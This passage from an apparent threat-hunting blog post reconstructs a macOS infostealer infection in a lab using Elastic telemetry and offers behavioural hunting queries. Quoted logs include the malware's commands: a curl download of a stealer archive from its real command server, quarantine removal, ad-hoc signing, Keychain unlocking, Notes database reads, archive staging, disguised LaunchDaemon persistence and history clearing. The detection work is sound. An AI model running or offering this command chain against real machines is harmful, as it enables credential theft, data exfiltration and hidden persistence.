2\u0026gt;/dev/null; true This looks like an attempt to clear shell history while suppressing errors.\nThe Time Machine snapshots were also deleted after use:\ntmutil deletelocalsnapshots ... And, as mentioned earlier, the quarantine attribute was explicitly targeted:\nxattr -d com.apple.quarantine /tmp/.com.apple.dt.77002 Because several of the temporary artifacts were removed using rm, they would not normally appear in the macOS Trash.\nMy lab was also rebooted later, so some /private/tmp content was no longer available for direct inspection. This is one area where the endpoint telemetry became more valuable than the live filesystem: the files were gone, but the creation, access and deletion events still gave me enough to reconstruct much of what happened.\nWhat survived after the execution # A few artifacts were still useful after the temporary staging area was gone.\nArtifact What it showed ~/.botid Bot/victim identifier ~/.chost C2/API endpoint ~/.pwd Captured password stored in plaintext ~/.local/share/.stream/*_key Browser-related collection state browser_diag.txt Browser profile checks controller_diag.txt Browser-key collection state masterkey_diag.txt Keychain path and fallback parsing information ks_diag.txt Additional Keychain-related diagnostic state /tmp/starter LaunchDaemon plist template What made this part of the investigation useful was the way the endpoint telemetry and surviving artifacts corroborated each other. Elastic showed the payload accessing login.keychain-db, while masterkey_diag.txt referenced that same Keychain database directly.\nThe LaunchDaemon write was visible in the telemetry, and the surviving starter plist showed exactly what the persistence entry was configured to execute. The same pattern held for the C2 activity: Elastic captured connections to the malicious infrastructure, while .chost preserved the /api/bot/actions endpoint locally. Looking at both sources together made the activity much easier to interpret than treating process, file and artifact evidence as separate parts of the investigation.\nA brief look at stream_module # Jamf also documented a second-stage stream_module associated with Amnesia\u0026rsquo;s remote browser-control capability. That module did not appear in the original execution chain I reconstructed above. Later, I tried running the recovered stream_module separately in the lab.\nIt immediately exited with:\nError: STREAM_PAYLOAD env not set Caused by: environment variable not found That was useful in its own way. It showed that the module expected runtime configuration through:\nSTREAM_PAYLOAD rather than behaving as a completely standalone component. I did not force this into the original timeline because I did not observe the corresponding operator-triggered second stage in the original Elastic dataset.\nExpanding the network hunt beyond the main C2 # Earlier in the investigation, the curl activity had already exposed the main Amnesia infrastructure:\ndebug.allllowef.space 138.124.70.84 That gave me the obvious C2 pivot, but I also wanted to see whether the payload itself was making any other outbound connections that were not visible from the initial curl activity.\nSo I broadened the search to all network events with a resolved destination domain:\nevent.category : \u0026#34;network\u0026#34; and destination.domain : * The first events were the expected curl connections back to:\ndebug.allllowef.space 138.124.70.84 More interestingly, a few seconds later the running Amnesia payload itself:\n/private/tmp/.com.apple.dt.77002 connected to:\nfreeipapi.com 104.21.94.136 and:\nfree.freeipapi.com 172.67.168.79 This was useful because these connections were not coming from the original curl process. They were generated directly by the stealer after execution. The timing also lined up with the host-enumeration activity I had already observed through commands such as:\nwhoami sw_vers system_profiler ioreg Taken together, the freeipapi.com connections are consistent with the malware enriching its local system information with externally visible IP or geolocation data.\nFrom the Elastic telemetry alone, I can confirm that the payload established the outbound connections. I cannot see the full HTTPS request or response body, so I would not claim exactly which API fields were retrieved without additional network visibility. What made the connection useful from a hunting perspective was the process context:\n/private/tmp/.com.apple.dt.77002 ↓ freeipapi.com free.freeipapi.com A public IP/geolocation service is not malicious by itself, and legitimate applications may use the same service. The interesting part was an unknown hidden executable under /private/tmp contacting an external IP-information service immediately after performing local host fingerprinting.\nThis gave the victim-profiling activity another layer:\nlocal username ↓ macOS version ↓ hardware UUID / serial number ↓ installed applications ↓ public IP / external network information It was another example of why I found it useful to periodically step back from the exact C2 domain and look at all outbound network activity generated by the same execution chain.\nLessons Learnt # Looking back at the investigation, the most useful part was not any single indicator.\nIt was the relationships.\nThe first curl was interesting, but it was only the starting point.\nThe PPID pivot exposed:\ncurl → unzip → mv → xattr → chmod → codesign → nohup Following the actual payload then exposed:\npgrep → whoami → dscl → sudo → security → system_profiler → ioreg → Notes access → tmutil → mount_apfs → ditto → launchctl File events added another view:\nlogin.keychain-db → browser-related state → random staging directory → collected password and system artifacts → archive creation → cleanup A lot of these utilities are completely normal on macOS. The malware was simply abusing legitimate system tools to carry out its actions. If you want to learn more about macOS Living off the Land techniques, LOOBins is a useful reference. What made the activity suspicious was the context around those tools. A hidden executable under /tmp became the common parent for several commands within a very short period of time, including security, system_profiler, ioreg, tmutil, mount_apfs, ditto, and launchctl.\nAnother useful lesson was that a negative search result did not always mean the behaviowr was absent. For example, I found no useful child process directly under the original curl PID, but pivoting to the shared parent PID exposed the rest of the bootstrap activity.\nI also found no osascript process even though a fake password prompt clearly appeared. Jamf\u0026rsquo;s analysis later explained why: the prompt was created using a native AppKit NSAlert, so there was no separate AppleScript process for Elastic to capture. The same limitation appeared during exfiltration. I could see the collection directory being archived, but I could not independently confirm the final /send/ upload because the available endpoint telemetry did not expose the HTTP request path.\nThat is fairly normal in threat hunting. The process tree will not always look exactly how you expect, and the telemetry will not always contain the field or event needed to prove every step of the chain.\nBehavior Hunting: Rediscovering Amnesia Without the PID # The investigation above relied heavily on PID and PPID relationships to reconstruct Amnesia\u0026rsquo;s activity. That works well once a suspicious process has been identified, but I also wanted to see how much of the same activity could be found without knowing the malware PID beforehand.\nThe following hunts were derived from behaviors observed during the investigation. They are intended as hunting starting points rather than production-ready detections. In a real environment, most would require baselining and tuning.\nDownloading Archives Into /tmp # The Amnesia bootstrap used curl to retrieve a ZIP archive and write it directly into /tmp using a hidden filename.\nHunting hypothesis: Command-line downloads of archives directly into temporary directories may indicate payload staging.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/curl\u0026#34; and process.command_line : */tmp/* and process.command_line : *.zip* Result # @timestamp process.executable process.command_line process.parent.command_line Aug 17, 2026 @ 06:49:35.400 /usr/bin/curl curl -sL https://debug.allllowef.space/otherassets/macos-hybrid-stealer.zip?t=2def3c01135\u0026amp;b=se -o /tmp/._77002.zip bash Aug 17, 2026 @ 06:49:44.928 /usr/bin/curl curl -sL https://debug.allllowef.space/otherassets/macos-hybrid-stealer.zip?t=2def3c01135\u0026amp;b=se -o /tmp/._77002.zip bash Both events show the same behavior: curl downloading a ZIP archive into the hidden path /tmp/._77002.zip.\nThis is not malicious by itself. Installers and automation scripts commonly use curl. Hidden output paths, unusual external domains, shell parents and subsequent execution make the activity more interesting.\nFlag combinations such as -fsSL or -fskL may also appear in malware and adware installers, but should be treated as supporting context rather than indicators on their own.\nHidden Files Under Temporary Directories # The bootstrap also created dot-prefixed artifacts such as:\n/tmp/._77002.zip /tmp/.com.apple.dt.77002 Rather than restricting the hunt to ZIP files, we can look more broadly for hidden files beneath temporary directories.\nHunting hypothesis: Hidden files created or modified beneath temporary directories may reveal payload staging, preparation or cleanup.\nevent.category : \u0026#34;file\u0026#34; and file.path : */tmp/.* Result # @timestamp process.executable file.path event.action event.type Aug 17, 2026 @ 06:49:33.047 /System/Library/CoreServices/Spotlight.app/Contents/MacOS/Spotlight /Users/jason/Library/Biome/tmp/.tmp.GC5D0Wik modification change Aug 17, 2026 @ 06:49:44.925 /usr/bin/curl /private/tmp/._77002.zip modification change Aug 17, 2026 @ 06:49:45.404 /bin/mv /private/tmp/.com.apple.dt.77002 rename change Aug 17, 2026 @ 06:49:45.581 /bin/rm /private/tmp/._77002.zip deletion deletion Aug 17, 2026 @ 06:49:45.830 /usr/bin/codesign /private/tmp/.com.apple.dt.77002.cstemp modification change Aug 17, 2026 @ 06:49:45.838 /usr/bin/codesign /private/tmp/.com.apple.dt.77002 rename change Aug 17, 2026 @ 06:49:47.885 /bin/rm /private/tmp/.com.apple.dt.77002 deletion deletion This hunt also returned legitimate Spotlight/Biome activity, which is useful when considering how the query would need to be baselined in a production environment. A hidden file alone is weak evidence. Multiple related operations against the same object within seconds are much more useful.\nQuarantine and Extended Attribute Manipulation # Amnesia used xattr against the staged payload:\nxattr -cr /tmp/.com.apple.dt.77002 xattr -d com.apple.quarantine /tmp/.com.apple.dt.77002 xattr -cr recursively clears extended attributes, while the second command explicitly deletes com.apple.quarantine.\nHunting hypothesis: Unexpected clearing of extended attributes or removal of com.apple.quarantine from recently downloaded files may indicate attempts to interfere with the normal macOS quarantine and Gatekeeper assessment path.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/xattr\u0026#34; and (process.command_line : *-cr* or process.command_line : *com.apple.quarantine*) Result # @timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:49:45.594 /usr/bin/xattr [fork, exec, end] xattr -cr /tmp/.com.apple.dt.77002 bash Aug 17, 2026 @ 06:51:22.052 /usr/bin/xattr [fork, exec, end] xattr -d com.apple.quarantine /tmp/.com.apple.dt.77002 /tmp/.com.apple.dt.77002 The second event is particularly interesting because the staged payload itself becomes the parent of the command deleting its quarantine attribute.\nxattr is commonly used by developers and administrators. The target path, parent process and surrounding download/execution activity are therefore important when triaging results.\nAd-Hoc Code Signing # The staged payload was forcibly and recursively ad-hoc signed:\ncodesign --force --deep --sign - /tmp/.com.apple.dt.77002 Hunting hypothesis: Ad-hoc signing of newly created objects beneath temporary or user-writable locations may indicate payload preparation.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/codesign\u0026#34; and process.command_line : *--force* and process.command_line : *--deep* and process.command_line : *--sign* Result # @timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:49:45.751 /usr/bin/codesign [fork, exec, end] codesign --force --deep --sign - /tmp/.com.apple.dt.77002 bash The --sign - argument performs ad-hoc signing. It does not make the application notarized or trusted by Gatekeeper.\nDevelopment systems and CI/CD environments may generate significant codesign activity. Here, the interesting context is that a hidden object beneath /tmp was downloaded, had its extended attributes manipulated and was then ad-hoc signed.\nCleanup and Anti-Forensics # Amnesia removed several temporary artifacts after they were no longer required and also attempted to clear shell history.\nHunting hypothesis: Forced deletion of hidden temporary files or attempts to clear shell history may indicate payload cleanup or anti-forensic activity.\nevent.category : \u0026#34;process\u0026#34; and (((process.executable : \u0026#34;/bin/rm\u0026#34;) and process.command_line : *-f* and (process.command_line : */tmp/.* or process.command_line : */private/tmp/.*)) or process.command_line : *history -c*) Result # @timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:49:45.406 /bin/rm [fork, exec, end] rm -f /tmp/._77002.zip bash Aug 17, 2026 @ 06:49:47.877 /bin/rm [fork, exec, end] rm -f /tmp/.com.apple.dt.77002 bash Aug 17, 2026 @ 06:51:22.014 /bin/sh [fork, exec] sh -c history -c 2\u0026gt;/dev/null; true /tmp/.com.apple.dt.77002 Aug 17, 2026 @ 06:51:22.014 /bin/bash [exec, end] sh -c history -c 2\u0026gt;/dev/null; true /tmp/.com.apple.dt.77002 rm -f and output redirection to /dev/null are extremely common. The stronger signal is the surrounding context: a temporary payload deleting recently created artifacts and spawning a shell to attempt history cleanup.\nThe history -c event shows an apparent cleanup attempt, but does not prove that the user\u0026rsquo;s persistent shell-history file was successfully erased.\nApple Notes Collection and Staging # Amnesia targeted the Apple Notes SQLite database and its associated WAL and SHM files.\nHunting hypothesis: Unexpected command-line utilities reading Apple Notes databases may indicate collection of locally stored Notes data.\nevent.category : \u0026#34;process\u0026#34; and (process.executable : \u0026#34;/bin/cp\u0026#34; or process.executable : \u0026#34;/bin/cat\u0026#34;) and (process.command_line : *group.com.apple.notes* or process.command_line : *NoteStore.sqlite*) Process Result # @timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:50:31.652 /bin/cat [fork, exec, end] cat /Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite sh -c cat '/Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite' 2\u0026gt;/dev/null Aug 17, 2026 @ 06:50:31.921 /bin/cat [fork, exec, end] cat /Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite sudo -S cat /Users/jason/Library/Group Containers/group.com.apple.notes/NoteStore.sqlite The hunt shows all three SQLite components being read. The WAL file is particularly relevant because recent database changes may not yet exist only in the primary SQLite database.\nA follow-up file hunt looked for related Notes artifacts:\nevent.category : \u0026#34;file\u0026#34; and file.path : *NoteStore* File Result # @timestamp event.type process.executable process.parent.pid process.pid file.path Aug 17, 2026 @ 06:50:31.948 deletion /private/tmp/.com.apple.dt.77002 14486 14499 /private/tmp/_notes_tmp_NoteStore.sqlite Aug 17, 2026 @ 06:50:32.077 deletion /private/tmp/.com.apple.dt.77002 14486 14499 /private/tmp/_notes_tmp_NoteStore.sqlite-shm Aug 17, 2026 @ 06:50:32.131 deletion /private/tmp/.com.apple.dt.77002 14486 14499 /private/tmp/_notes_tmp_NoteStore.sqlite-wal The file telemetry did not provide the original read/open event against the Notes database, but it independently exposed temporary staged copies being deleted.\nHost and System Discovery # Amnesia profiles the infected Mac using native utilities such as ioreg, sw_vers and system_profiler.\nHunting hypothesis: Rapid execution of several native macOS discovery utilities under the same unusual parent may indicate automated host profiling.\nevent.category : \u0026#34;process\u0026#34; and (process.executable : \u0026#34;/usr/sbin/ioreg\u0026#34; or process.executable : \u0026#34;/usr/bin/sw_vers\u0026#34; or process.executable : \u0026#34;/usr/sbin/system_profiler\u0026#34; or (((process.executable : \u0026#34;/bin/sh\u0026#34; or process.executable : \u0026#34;/bin/bash\u0026#34; or process.executable : \u0026#34;/bin/zsh\u0026#34;)) and (process.command_line : *ioreg* or process.command_line : *sw_vers* or process.command_line : *system_profiler*))) Result # The hunt returned activity for ioreg, sw_vers and system_profiler within the same discovery window. Some excerpt of the results\n@timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:49:58.631 /usr/sbin/system_profiler [fork, exec, end] /usr/sbin/system_profiler -nospawn -xml SPSoftwareDataType -detailLevel full system_profiler SPSoftwareDataType SPHardwareDataType SPDisplaysDataType Aug 17, 2026 @ 06:51:17.853 /usr/bin/sw_vers [exec, end] sw_vers -productVersion /tmp/.com.apple.dt.77002 Aug 17, 2026 @ 06:51:22.234 /bin/bash [exec, end] sh -c ioreg -rd1 -c IOPlatformExpertDevice 2\u0026gt;/dev/null | awk ... /tmp/.com.apple.dt.77002 These utilities are normal on macOS. The more useful signal is several discovery commands appearing within seconds under the same unexpected execution chain.\nMDM platforms, inventory agents, troubleshooting tools and administrative scripts are likely sources of legitimate noise.\nPassword Validation With dscl # Amnesia prompted the user for their login password and then validated the supplied credential locally using dscl.\nA related hunt for AppleScript-based credential prompts was also tested:\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/osascript\u0026#34; and process.command_line : *display dialog* Result: No matching events.\nThis does not mean no credential prompt occurred. In this execution, Amnesia used a native prompt rather than spawning osascript.\nThe follow-up credential-validation behavior was visible:\nHunting hypothesis: Unexpected use of dscl -authonly may indicate programmatic validation of a captured local password.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/dscl\u0026#34; and process.command_line : *authonly* Result # @timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:49:52.592 /usr/bin/dscl [exec, end] dscl /Local/Default -authonly jason \u0026lt;redacted\u0026gt; /tmp/.com.apple.dt.77002 The supplied password appeared directly inside process command-line telemetry and has therefore been redacted.\nUnexpected applications using dscl -authonly, especially when the parent originates from a temporary location, are worth investigating.\nKeychain Unlocking and Direct Access # After obtaining and validating the password, Amnesia attempted to unlock the user\u0026rsquo;s login Keychain.\nHunting hypothesis: Unexpected use of security unlock-keychain, particularly with a password passed through -p, may indicate programmatic credential access.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/security\u0026#34; and process.command_line : *unlock-keychain* Result # @timestamp process.executable event.action process.command_line process.parent.command_line Aug 17, 2026 @ 06:51:17.419 /usr/bin/security [fork, exec, end] security unlock-keychain -p \u0026lt;redacted\u0026gt; /Users/jason/Library/Keychains/login.keychain-db /tmp/.com.apple.dt.77002 Again, the supplied password was visible in the process command line and has been redacted.\nThe next hunt looked for processes other than /usr/bin/security directly accessing the login Keychain database:\nevent.category : \u0026#34;file\u0026#34; and file.path : *login.keychain* and event.type : \u0026#34;access\u0026#34; and not process.executable : \u0026#34;/usr/bin/security\u0026#34; Direct Keychain Access # The hunt returned 25 access events. The first visible events were:\n@timestamp event.type process.executable process.parent.pid process.pid file.path Aug 17, 2026 @ 06:49:53.122 access /private/tmp/.com.apple.dt.77002 14486 14499 /Users/jason/Library/Keychains/login.keychain-db Aug 17, 2026 @ 06:49:53.427 access /private/tmp/.com.apple.dt.77002 14486 14499 /Users/jason/Library/Keychains/login.keychain-db Direct Keychain access can occur legitimately through password managers, migration tools and forensic software. The unusual temporary executable and surrounding credential activity make this sequence more significant.\nChromium Database Access # Chromium-based browsers maintain valuable databases and configuration files such as:\nLogin Data Cookies History Web Data Local State Hunting hypothesis: Unexpected processes accessing multiple Chromium profile databases may indicate credential, cookie or browser-session collection.\nevent.category : \u0026#34;file\u0026#34; and event.type : \u0026#34;access\u0026#34; and (file.path : *Login\\ Data* or file.path : *Cookies* or file.path : *History* or file.path : *Web\\ Data* or file.path : *Local\\ State*) and not process.executable : \u0026#34;/System/Volumes/Preboot/Cryptexes/Incoming/OS/System/Library/Frameworks/WebKit.framework/Versions/A/XPCServices/com.apple.WebKit.Networking.xpc/Contents/MacOS/com.apple.WebKit.Networking\u0026#34; The WebKit Networking process above generated legitimate access noise during testing and was excluded. No results were seen from the hunt for the stage 2 activity. In a real environment, additional baselining would likely be needed for legitimate browsers, browser helpers, backup products and security tooling.\nOne access to History or Cookies is not necessarily meaningful. Multiple browser databases accessed rapidly by the same unusual process are much more interesting, particularly when followed by staging or archive creation.\nArchive Creation With ditto # After collecting data, Amnesia used the native ditto utility to create a PKZip archive.\nHunting hypothesis: Archive creation using ditto shortly after collection activity may indicate staging for exfiltration.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/ditto\u0026#34; and process.command_line : *-c* and process.command_line : *-k* Result # @timestamp process.executable event.action process.command_line process.parent.command_line process.pid process.parent.pid Aug 17, 2026 @ 06:51:17.954 /usr/bin/ditto [fork, exec, end] ditto -c -k --sequesterRsrc /tmp/.com.apple.dt.77002 /tmp/dUvV2FVcZkOrcH80s4nOdw2fL ... /tmp/.com.apple.dt.77002 14710 14499 The Amnesia payload itself is the parent of ditto.\nditto is widely used legitimately on macOS. The useful context here is the sequence of data collection, temporary staging and archive creation.\nLaunchDaemon Persistence # Amnesia also attempted persistence using a LaunchDaemon.\nHunting hypothesis: Unexpected creation of property lists under /Library/LaunchDaemons may indicate persistence, particularly when written by processes outside normal installers or management tooling.\nevent.category : \u0026#34;file\u0026#34; and file.path : /Library/LaunchDaemons/*.plist Result # process.executable event.action process.command_line process.parent.command_line process.pid /bin/cp launch_daemon cp /tmp/starter /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist sudo -S cp /tmp/starter /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist 14745 /bin/launchctl [fork, exec, end] launchctl bootstrap system /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist sudo -S launchctl bootstrap system /Library/LaunchDaemons/com.apple.ReportCrash.agent_68910896.plist — The first event is particularly useful because Elastic classified the /bin/cp activity as event.action: launch_daemon. The plist itself referenced the hidden /tmp/.com.apple.dt.77002 payload and enabled both RunAtLoad and KeepAlive. The malware then immediately loaded the persistence entry using launchctl bootstrap system, rather than waiting for the next reboot.\nLaunchDaemons are widely used by legitimate software, security products and MDM tooling. For any result, the important pivots are:\nprocess responsible for creating the plist Program or ProgramArguments executable location ownership and permissions related launchctl activity whether the referenced executable resides in a temporary or user-writable location APFS Snapshot Mounting # The malware also attempted a TCC bypass by mounting an APFS local snapshot.\nHunting hypothesis: Unexpected APFS snapshot mounting may indicate attempts to reach protected data through an alternate filesystem view.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/System/Library/Filesystems/apfs.fs/Contents/Resources/mount_apfs\u0026#34; and process.command_line : *-s* Result # @timestamp process.executable event.action process.command_line process.parent.command_line process.pid process.parent.pid Aug 17, 2026 @ 06:50:38.837 /System/Library/Filesystems/apfs.fs/Contents/Resources/mount_apfs [fork, exec, end] mount_apfs -o nobrowse -s com.apple.TimeMachine.2026-08-17-065038.local ... sudo -S mount_apfs -o nobrowse -s com.apple.TimeMachine.2026... 14622 14621 Aug 17, 2026 @ 06:51:14.227 /System/Library/Filesystems/apfs.fs/Contents/Resources/mount_apfs [fork, exec, end] mount_apfs -o nobrowse -s com.apple.TimeMachine.2026-08-17-065112.local ... sudo -S mount_apfs -o nobrowse -s com.apple.TimeMachine.2026... 14682 14681 Snapshot mounting is not malicious by itself. The suspicious context would be an unexpected process creating or mounting snapshots and subsequently accessing protected browser or user data. In this execution, the attempted technique did not establish a successful TCC bypass on macOS 26.\nHunts That Returned No Results # Not every useful hunting hypothesis should return a malicious event. Several additional behaviors were tested in my lab.\nSystem Audio Muting # Some macOS stealers have used AppleScript to mute system audio before performing other activity.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/osascript\u0026#34; and process.command_line : *set volume with output muted* Result: No matching events.\nTelegram tdata Collection # Telegram Desktop data can be valuable to information stealers.\nevent.category : \u0026#34;process\u0026#34; and (process.executable : \u0026#34;/bin/cp\u0026#34; or process.executable : \u0026#34;/bin/cat\u0026#34;) and process.command_line : *tdata* Result: No matching events.\nThis only tests for collection through external utilities such as cp or cat. Direct file access by the malware itself would not necessarily appear in this query.\nAppleScript Credential Prompt # A common macOS malware technique is to generate fake system-style credential dialogs through AppleScript.\nevent.category : \u0026#34;process\u0026#34; and process.executable : \u0026#34;/usr/bin/osascript\u0026#34; and process.command_line : *display dialog* Result: No matching events.\nAmnesia used a native password prompt in this execution instead, demonstrating why the absence of a particular utility does not prove that the broader behavior did not occur.\nHeadless Chromium Session Control # The stream functionality described for Amnesia can clone a browser profile and launch Chromium headlessly for remote session control.\nA useful behavioral starting point is to look for browsers enabling both headless execution and Chrome DevTools Protocol access:\nevent.category : \u0026#34;process\u0026#34; and process.command_line : *--headless* and process.command_line : *--remote-debugging-port* Result: No matching events.\nA stronger hit would include additional context such as a custom --user-data-dir, a hidden profile directory or an unusual parent process.\nTakeaway # The initial investigation asked:\nI found something suspicious. What did this process do?\nPID and PPID pivots were extremely effective for answering that question.\nThe behavioral hunts ask something different:\nI do not know which process is malicious yet. Which behaviors are worth investigating?\nSeveral of these hunts independently surfaced the same Amnesia activity: quarantine manipulation, ad-hoc signing, Apple Notes collection, password validation, Keychain access, host discovery, archive creation and temporary-file cleanup.\nOthers returned legitimate noise or no results.\nThat is expected. Individual macOS utilities such as curl, xattr, codesign, dscl, security, ditto and system_profiler are not malicious. The useful signal comes from who executed them, where the process originated, what it targeted, when it happened and what occurred immediately before and after.\nUsing both approaches gives us two complementary workflows:\nApproach Best Used For PID / PPID investigation Reconstructing activity after something suspicious is already known Behavioral hunting Finding suspicious activity without already knowing the malware process The malware family can change. The behaviors often remain useful.\nUsing these as hunts rather than standalone detections # I would not turn every query above directly into an alert. Most of them are better starting points for investigation. The strongest signals come from combining multiple behaviors:\ntemporary executable ↓ native utility abuse ↓ credential or user-data access ↓ staging / archive creation ↓ network activity or persistence That combination is much harder to explain as normal enterprise activity than any single curl, xattr, security, tmutil or launchctl event.\nThat felt much closer to how I actually hunt. Sometimes the first pivot gives you nothing. Sometimes a command looks harmless until you inspect its parent. Sometimes the process telemetry is incomplete, but a surviving file artifact gives you the missing context. And sometimes the EDR shows almost the entire chain but still cannot prove one final step, such as the HTTP upload in this case. The useful part was not finding one obviously malicious command. It was gradually building enough context around otherwise normal-looking activity to understand what the process was really doing.\nFor campaign-specific indicators and additional malware analysis, refer to the original Jamf Threat Labs research.\n","date":"31 August 2026","externalUrl":null,"permalink":"/posts/amnesia-stealer/","section":"Posts","summary":"","title":"Hunting macOS Amnesia Stealer in Elastic","type":"posts"},{"content":"","date":"31 August 2026","externalUrl":null,"permalink":"/tags/infostealer/","section":"Tags","summary":"","title":"Infostealer","type":"tags"},{"content":"A place for me to document things I find while hunting macOS threats — interesting TTPs, endpoint telemetry, investigations and detection ideas.\n","date":"31 August 2026","externalUrl":null,"permalink":"/","section":"Jason's Blog","summary":"","title":"Jason's Blog","type":"page"},{"content":"","date":"31 August 2026","externalUrl":null,"permalink":"/tags/macos/","section":"Tags","summary":"","title":"MacOS","type":"tags"},{"content":"","date":"31 August 2026","externalUrl":null,"permalink":"/posts/","section":"Posts","summary":"","title":"Posts","type":"posts"},{"content":"","date":"31 August 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"","date":"31 August 2026","externalUrl":null,"permalink":"/tags/threat-hunting/","section":"Tags","summary":"","title":"Threat Hunting","type":"tags"},{"content":"This blog is where I document things I encounter while investigating macOS threats — attacker TTPs, endpoint telemetry, hunting techniques and detection ideas.\nMost posts are practical rather than deep malware reverse engineering: what happened, what the telemetry shows, how I investigated it, and what could be detected or hunted.\nI try to keep the write-ups straightforward enough that people who are less familiar with macOS can still follow the investigation.\n","externalUrl":null,"permalink":"/about/","section":"Jason's Blog","summary":"","title":"About","type":"page"},{"content":"","externalUrl":null,"permalink":"/authors/","section":"Authors","summary":"","title":"Authors","type":"authors"},{"content":"","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","externalUrl":null,"permalink":"/series/","section":"Series","summary":"","title":"Series","type":"series"}]